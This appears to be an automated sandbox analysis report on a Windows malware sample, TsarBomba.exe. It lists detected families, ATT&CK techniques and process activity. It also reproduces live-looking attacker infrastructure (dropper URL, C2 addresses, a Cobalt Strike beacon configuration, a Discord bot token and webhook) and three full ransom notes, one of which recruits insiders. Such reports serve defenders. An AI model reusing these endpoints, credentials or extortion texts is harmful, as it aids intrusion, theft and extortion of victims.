cobaltstrike | 3755718db9d33f4aba2563de454d4530a308b41b1096c904102d08e2101f2020

max time kernel
3s
max time network
156s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
06/08/2026, 22:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
TsarBomba.exe
Size 25.2MB
Sample260806-1x9xjacd96
SHA256 3755718db9d33f4aba2563de454d4530a308b41b1096c904102d08e2101f2020
MD5 91025d6f02e542f2e37ffce7d0ce8b51
SHA1 e2d80ef6075556cd23ce0445473c061f200b5dd4
SHA512 09c6d7f8b64c75e963d63ad1478a81f567182a948d652346f1c68d233efead615703aadb4ce9cd5e5fd7235089f2439e9153231ea3e1a2c677ae84aec29afc89
SSDEEP 393216:NVn+SLSF5pdHn2AXUCITkkkkkrkkkkkkkkkkkk6lX0wfGtbYTZb08MQUCITkkkkS:PduvnNG0shAQ31qnMb5OM9Tt
TLSH
T13547C0863B60C192CDF278719473DAC016387E6DCF3255A6DBCB4A0ABC518B7051BE7A
MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://185.156.72.2/testmine/random.exe

Extracted

Family

redline

Botnet

cheat

154.91.34.165:64951

Extracted

Family

discordrat

Attributes

discord_token
MTM0OTU1Nzg2MTk3NzY4NjExOA.GZnBJ8.ModoCKrx8GueOq0zGHlbO14l4wHwAZe9839-DA
server_id
1350894549899411528

Extracted

Path

C:\Users\Admin\Data breach warning.txt

Ransom Note

# RA World ---- ## Notification Your data are stolen and encrypted when you read this letter. We have copied all data to our server. Don't worry, your data will not be made public if you do what I want. But if you don't pay, we will release the data, contact your customers and regulators and destroy your system again. We can decrypt some files to prove that the decrypt tool works correctly. ## What we want? Contact us, pay for ransom. If you pay, we will provide you the programs for decryption and we will delete your data where on our servers. If not, we will leak your datas and your company will appear in the shame list below. If not, we will email to your customers and report to supervisory authority. ## How contact us? We use qTox to contact, you can download qTox from office website: https://qtox.github.io Our qTox ID is: 358AC0F6C813DD4FD243524F040E2F77969278274BD8A8945B5041A249786E32CC784580F2EC We have no other contacts. If there is no contact within 3 days, you will appear on our website and we will make sample files public. If there is no contact within 7 days, we will stop communicating and release data in batches. The longer time, the higher ransom. ## RA World Office Site: [Permanent address] http://raworldw32b2qxevn3gp63pvibgixr4v75z62etlptg3u3pmajwra4ad.onion [Temporary address] http://161.35.200.18 ## Sample files release link: Sample files: https://gofile.io/d/ufuFye ## Unpay Victim Lists *** You'll be here too if you don't pay! *** *** More and more people will get your files! *** [NIDEC GPM GmbH] [Die Unfallkasse Th�ringen] [HALLIDAYS GROUP LIMITED] [Rockford Gastroenterology Associates] [Di Martino Group] [Alablaboratoria] [Comer] [Informist Media] [SUMMIT VETERINARY PHARMACEUTICALS LIMITED] [Chung Hwa Chemical Industrial Works] [Aceromex] [247ExpressLogistics] [Yuxin Automobile Co.Ltd] [Piex Group] [Zurvita] [BiscoIndustries] [Decimal Point Analytics Pvt] [DeepNoid] [Eastern Media International Corporation] [EyeGene] [Insurance Providers Group] [Thaire] [Wealth Enhancement Group] You can use Tor Browser to open .onion url. Ger more information from Tor office website: https://www.torproject.org

URLs

https://qtox.github.io
http://raworldw32b2qxevn3gp63pvibgixr4v75z62etlptg3u3pmajwra4ad.onion
http://161.35.200.18
https://gofile.io/d/ufuFye

Extracted

Family

vidar

Version

13.6

Botnet

158fdd2a4f5abb978509580715e5353f

https://t.me/m00f3r
https://steamcommunity.com/profiles/76561199851454339

Attributes

user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/132.0.0.0 Safari/537.36 OPR/117.0.0.0

Extracted

Path

C:\fnsYm5R5i.README.txt

lockbit

Ransom Note

~~~ LockBit 3.0 the world's fastest ransomware since 2019~~~ >>>> Your data are stolen and encrypted The data will be published on TOR website if you do not pay the ransom Links for Tor Browser: http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion http://lockbitaptjpikdqjynvgozhgc6bgetgucdk5xjacozeaawihmoio6yd.onion http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprxxfpcllqdxad.onion http://lockbitaptstzf3er2lz6ku3xuifafq2yh5lmiqj5ncur6rtlmkteiqd.onion http://lockbitaptoofrpignlz6dt2wqqc5z3a4evjevoa3eqdfcntxad5lmyd.onion Links for the normal browser http://lockbitapt.uz http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion.ly http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion.ly http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion.ly http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion.ly http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion.ly http://lockbitaptjpikdqjynvgozhgc6bgetgucdk5xjacozeaawihmoio6yd.onion.ly http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprxxfpcllqdxad.onion.ly http://lockbitaptstzf3er2lz6ku3xuifafq2yh5lmiqj5ncur6rtlmkteiqd.onion.ly http://lockbitaptoofrpignlz6dt2wqqc5z3a4evjevoa3eqdfcntxad5lmyd.onion.ly >>>> What guarantees that we will not deceive you? We are not a politically motivated group and we do not need anything other than your money. If you pay, we will provide you the programs for decryption and we will delete your data. Life is too short to be sad. Be not sad, money, it is only paper. If we do not give you decrypters, or we do not delete your data after payment, then nobody will pay us in the future. Therefore to us our reputation is very important. We attack the companies worldwide and there is no dissatisfied victim after payment. You can obtain information about us on twitter https://twitter.com/hashtag/lockbit?f=live >>>> You need contact us and decrypt one file for free on these TOR sites with your personal DECRYPTION ID Download and install TOR Browser https://www.torproject.org/ Write to a chat and wait for the answer, we will always answer you. Sometimes you will need to wait for our answer because we attack many companies. Links for Tor Browser: http://lockbitsupt7nr3fa6e7xyb73lk6bw6rcneqhoyblniiabj4uwvzapqd.onion http://lockbitsupuhswh4izvoucoxsbnotkmgq6durg7kficg6u33zfvq3oyd.onion http://lockbitsupn2h6be2cnqpvncyhj4rgmnwn44633hnzzmtxdvjoqlp7yd.onion Link for the normal browser http://lockbitsupp.uz If you do not get an answer in the chat room for a long time, the site does not work and in any other emergency, you can contact us in jabber or tox. Tox ID LockBitSupp: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 XMPP (Jabber) Support: [email protected] [email protected] >>>> Your personal DECRYPTION ID: 2936B8B4C916B76CC6C41CA3751DD103 >>>> Warning! Do not DELETE or MODIFY any files, it can lead to recovery problems! >>>> Warning! If you do not pay the ransom we will attack your company repeatedly again! >>>> Advertisement Would you like to earn millions of dollars $$$ ? Our company acquire access to networks of various companies, as well as insider information that can help you steal the most valuable data of any company. You can provide us accounting data for the access to any company, for example, login and password to RDP, VPN, corporate email, etc. Open our letter at your email. Launch the provided virus on any computer in your company. You can do it both using your work computer or the computer of any other employee in order to divert suspicion of being in collusion with us. Companies pay us the foreclosure for the decryption of files and prevention of data leak. You can contact us using Tox messenger without registration and SMS https://tox.chat/download.html. Using Tox messenger, we will never know your real name, it means your privacy is guaranteed. If you want to contact us, write in jabber or tox. Tox ID LockBitSupp: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 XMPP (Jabber) Support: [email protected] [email protected] If this contact is expired, and we do not respond you, look for the relevant contact data on our website via Tor or Brave browser Links for Tor Browser: http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion http://lockbitaptjpikdqjynvgozhgc6bgetgucdk5xjacozeaawihmoio6yd.onion http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprxxfpcllqdxad.onion http://lockbitaptstzf3er2lz6ku3xuifafq2yh5lmiqj5ncur6rtlmkteiqd.onion http://lockbitaptoofrpignlz6dt2wqqc5z3a4evjevoa3eqdfcntxad5lmyd.onion Links for the normal browser http://lockbitapt.uz http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion.ly http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion.ly http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion.ly http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion.ly http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion.ly http://lockbitaptjpikdqjynvgozhgc6bgetgucdk5xjacozeaawihmoio6yd.onion.ly http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprxxfpcllqdxad.onion.ly http://lockbitaptstzf3er2lz6ku3xuifafq2yh5lmiqj5ncur6rtlmkteiqd.onion.ly http://lockbitaptoofrpignlz6dt2wqqc5z3a4evjevoa3eqdfcntxad5lmyd.onion.ly

Emails

URLs

http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion
http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion
http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion
http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion
http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion
http://lockbitaptjpikdqjynvgozhgc6bgetgucdk5xjacozeaawihmoio6yd.onion
http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprxxfpcllqdxad.onion
http://lockbitaptstzf3er2lz6ku3xuifafq2yh5lmiqj5ncur6rtlmkteiqd.onion
http://lockbitaptoofrpignlz6dt2wqqc5z3a4evjevoa3eqdfcntxad5lmyd.onion
http://lockbitapt.uz
http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion.ly
http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion.ly
http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion.ly
http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion.ly
http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion.ly
http://lockbitaptjpikdqjynvgozhgc6bgetgucdk5xjacozeaawihmoio6yd.onion.ly
http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprxxfpcllqdxad.onion.ly
http://lockbitaptstzf3er2lz6ku3xuifafq2yh5lmiqj5ncur6rtlmkteiqd.onion.ly
http://lockbitaptoofrpignlz6dt2wqqc5z3a4evjevoa3eqdfcntxad5lmyd.onion.ly
http://lockbitsupt7nr3fa6e7xyb73lk6bw6rcneqhoyblniiabj4uwvzapqd.onion
http://lockbitsupuhswh4izvoucoxsbnotkmgq6durg7kficg6u33zfvq3oyd.onion
http://lockbitsupn2h6be2cnqpvncyhj4rgmnwn44633hnzzmtxdvjoqlp7yd.onion
http://lockbitsupp.uz
https://tox.chat/download.html

Extracted

Path

C:\Program Files\readme.txt

dragonforce

Ransom Note

Hello! Your files have been stolen from your network and encrypted with a strong algorithm. We work for money and are not associated with politics. All you need to do is contact us and pay. --- Our communication process: 1. You contact us. 2. We send you a list of files that were stolen. 3. We decrypt 1 file to confirm that our decryptor works. 4. We agree on the amount, which must be paid using BTC. 5. We delete your files, we give you a decryptor. 6. We give you a detailed report on how we compromised your company, and recommendations on how to avoid such situations in the future. --- Client area (use this site to contact us): Link for Tor Browser: http://3pktcrcbmssvrnwe5skburdwe2h3v6ibdnn5kbjqihsg6eu6s6b7ryqd.onion >>> Use this ID: 92754795DC1DE6F492754795DC1DE6F4 to begin the recovery process. * In order to access the site, you will need Tor Browser, you can download it from this link: https://www.torproject.org/ --- Additional contacts: Support Tox: 1C054B722BCBF41A918EF3C485712742088F5C3E81B2FDD91ADEA6BA55F4A856D90A65E99D20 --- Recommendations: DO NOT RESET OR SHUTDOWN - files may be damaged. DO NOT RENAME OR MOVE the encrypted and readme files. DO NOT DELETE readme files. --- Important: If you refuse to pay or do not get in touch with us, we start publishing your files. 16/04/2025 00:00 UTC the decryptor will be destroyed and the files will be published on our blog. Blog: http://z3wqggtxft7id3ibr7srivv5gjof5fwg76slewnzwwakjuf3nlhukdid.onion Sincerely, 01000100 01110010 01100001 01100111 01101111 01101110 01000110 01101111 01110010 01100011 01100101

URLs

http://3pktcrcbmssvrnwe5skburdwe2h3v6ibdnn5kbjqihsg6eu6s6b7ryqd.onion
http://z3wqggtxft7id3ibr7srivv5gjof5fwg76slewnzwwakjuf3nlhukdid.onion

Extracted

Family

gh0strat

192.168.1.221

Extracted

Family

cobaltstrike

Botnet

987654321

http://103.171.35.26:9443/dot.gif

Attributes

access_type
512
beacon_type
2048
host
103.171.35.26,/dot.gif
http_header1
AAAABwAAAAAAAAADAAAABgAAAAZDb29raWUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
http_header2
AAAACgAAACZDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbQAAAAcAAAAAAAAABQAAAAJpZAAAAAcAAAABAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
http_method1
GET
http_method2
POST
polling_time
60000
port_number
9443
sc_process32
%windir%\syswow64\rundll32.exe
sc_process64
%windir%\sysnative\rundll32.exe
state_machine
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCYwABfVZCivHbnjZUO+BO81zPgD/iC2oPyKTKg/ktH1Zbz3KyDsPWnMof9juyAfTGI73mxgqkNUk3MwtLRfIqw+cleDaWzp4gE2tnKy9qy4dqKpTA6yNxxtvSYH3EW3YQb7BsYeNZclmAmezp4zgRUwqydV21a6CYhEsjH2IeQ7wIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
unknown1
4096
unknown2
AAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
uri
/submit.php
user_agent
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; BOIE9;ENUSMSE)
watermark
987654321

Extracted

Family

umbral

Version

v1.3

https://discord.com/api/webhooks/1346459311483785276/cQnVuDAoiFJcDf4vo7vWTgnnFbmUju8Qxk65L_lTD8cZZ2u1KsT1eGhKTrTCfucO5-er

Extracted

Family

revengerat

Botnet

SPAM

myhost.misecure.com:8813
myhost.servepics.com:8813

Mutex

RV_MUTEX-spMCvntwyYAHW

Signatures

Family: Cobaltstrike
Detected malicious payload which is part of Cobaltstrike.
trojan backdoor cobaltstrike
Family: DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat
Family: Discord RAT
A RAT written in C# using Discord as a C2.
stealer rootkit rat persistence discordrat
Family: DragonForce
Ransomware family based on Lockbit that was first observed in November 2023.
ransomware dragonforce
Family: Gh0strat
Gh0st RAT is a remote access tool (RAT) with its source code public and it has been used by multiple Chinese groups.
rat gh0strat
Family: Lockbit
Ransomware family with multiple variants released since late 2019.
ransomware lockbit
Family: ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Family: RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline
Family: RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat
Family: SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat
Family: Umbral
Umbral stealer is an open-source modular stealer written in C#.
stealer umbral
Family: ValleyRat
ValleyRat stage2 is a backdoor written in C++.
backdoor valleyrat_s2
Family: Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar

DCRat payload 1 IoCs

rat

resource	yara_rule
behavioral8/memory/4044-86-0x00000000025F0000-0x00000000026C8000-memory.dmp	family_dcrat_v2

Detect Vidar Stealer 2 IoCs

stealer

resource	yara_rule
behavioral8/memory/5232-322-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral8/memory/5232-326-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7

Detects Umbral payload 2 IoCs

resource	yara_rule
behavioral8/files/0x000d00000001c702-1756.dat	family_umbral
behavioral8/files/0x000d00000001c702-1756.dat	family_umbral_obfuscated

Detects ValleyRAT payload 1 IoCs

resource	yara_rule
behavioral8/files/0x0006000000016df7-365.dat	family_valleyrat_stage_2_v2

Gh0st RAT payload 1 IoCs

resource	yara_rule
behavioral8/memory/7300-1712-0x0000000010000000-0x0000000010015000-memory.dmp	family_gh0strat

ModiLoader Second Stage 2 IoCs

resource	yara_rule
behavioral8/memory/5700-1735-0x0000000000400000-0x0000000000545000-memory.dmp	modiloader_stage2
behavioral8/memory/5700-7424-0x0000000000400000-0x0000000000545000-memory.dmp	modiloader_stage2

Process spawned unexpected child process 18 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3736	4660	schtasks.exe	105
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1620	4660	schtasks.exe	105
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3648	4660	schtasks.exe	105
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6000	4660	schtasks.exe	105
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5660	4660	schtasks.exe	105
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1088	4660	schtasks.exe	105
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	252	4660	schtasks.exe	105
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5900	4660	schtasks.exe	105
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2148	4660	schtasks.exe	105
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4184	4660	schtasks.exe	105
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7280	4660	schtasks.exe	105
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6644	4660	schtasks.exe	105
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4596	4660	schtasks.exe	105
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7052	4660	schtasks.exe	105
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7892	4660	schtasks.exe	105
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	8112	4660	schtasks.exe	105
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	8260	4660	schtasks.exe	105
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	8412	4660	schtasks.exe	105

RedLine payload 2 IoCs

resource	yara_rule
behavioral8/files/0x000b00000001b87f-4.dat	family_redline
behavioral8/memory/5836-37-0x0000000000C00000-0x0000000000C1E000-memory.dmp	family_redline

Rule to detect Lockbit 3.0 ransomware Windows payload 2 IoCs

resource	yara_rule
behavioral8/files/0x000d00000001c5fc-409.dat	family_lockbit
behavioral8/files/0x000c00000001c703-1743.dat	family_lockbit

SectopRAT payload 2 IoCs

resource	yara_rule
behavioral8/files/0x000b00000001b87f-4.dat	family_sectoprat
behavioral8/memory/5836-37-0x0000000000C00000-0x0000000000C1E000-memory.dmp	family_sectoprat

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 23 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5868	powershell.exe
8472	powershell.exe
8440	powershell.exe
8432	powershell.exe
1716	powershell.exe
2544	powershell.exe
8560	powershell.exe
8552	powershell.exe
8544	powershell.exe
8512	powershell.exe
8576	powershell.exe
8508	powershell.exe
8492	powershell.exe
8480	powershell.exe
8468	powershell.exe
756	powershell.exe
8568	powershell.exe
8532	powershell.exe
8460	powershell.exe
8572	powershell.exe
8528	powershell.exe
8504	powershell.exe
6584	powershell.exe

ASPack v2.12-2.42 1 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral8/files/0x000c00000001c5fe-386.dat	aspack_v212_v242

Executes dropped EXE 5 IoCs

pid	Process
5836	0f78a658b60f0879acccf0933d9ae8a5d2c188e9f16b8e6f7b01bd0cc9b5c4e1.exe
5480	0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe
2372	01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52.exe
3760	1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe
3756	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral8/files/0x000d00000001c602-1502.dat	autoit_exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 3 IoCs

execution

Visual Basic

T1059.005

pid	Process
6532	WScript.exe
6688	wscript.exe
10388	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
820	cmd.exe
672	cmd.exe
7504	cmd.exe
9456	cmd.exe
9792	cmd.exe
9976	cmd.exe
10508	cmd.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
6004	7756	WerFault.exe	155

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TsarBomba.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	0f78a658b60f0879acccf0933d9ae8a5d2c188e9f16b8e6f7b01bd0cc9b5c4e1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
5916	vssadmin.exe
3704	vssadmin.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
11088	taskkill.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
6660	reg.exe
9704	reg.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 21 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
8260	schtasks.exe
3736	schtasks.exe
5660	schtasks.exe
2148	schtasks.exe
6644	schtasks.exe
8412	schtasks.exe
1088	schtasks.exe
5900	schtasks.exe
4596	schtasks.exe
6780	schtasks.exe
8112	schtasks.exe
6000	schtasks.exe
4184	schtasks.exe
7052	schtasks.exe
7892	schtasks.exe
3904	schtasks.exe
1620	schtasks.exe
3648	schtasks.exe
252	schtasks.exe
7280	schtasks.exe
1088	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3756	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
3756	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4288 wrote to memory of 5836	4288	TsarBomba.exe	89
PID 4288 wrote to memory of 5480	4288	TsarBomba.exe	91
PID 4288 wrote to memory of 2372	4288	TsarBomba.exe	92
PID 4288 wrote to memory of 3760	4288	TsarBomba.exe	93
PID 4288 wrote to memory of 3756	4288	TsarBomba.exe	95
PID 3760 wrote to memory of 5868	3760	1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe	97
PID 4288 wrote to memory of 1772	4288	TsarBomba.exe	98

C:\Users\Admin\AppData\Local\Temp\TsarBomba.exe
"C:\Users\Admin\AppData\Local\Temp\TsarBomba.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4288
- C:\Users\Admin\AppData\Local\Temp\0f78a658b60f0879acccf0933d9ae8a5d2c188e9f16b8e6f7b01bd0cc9b5c4e1.exe
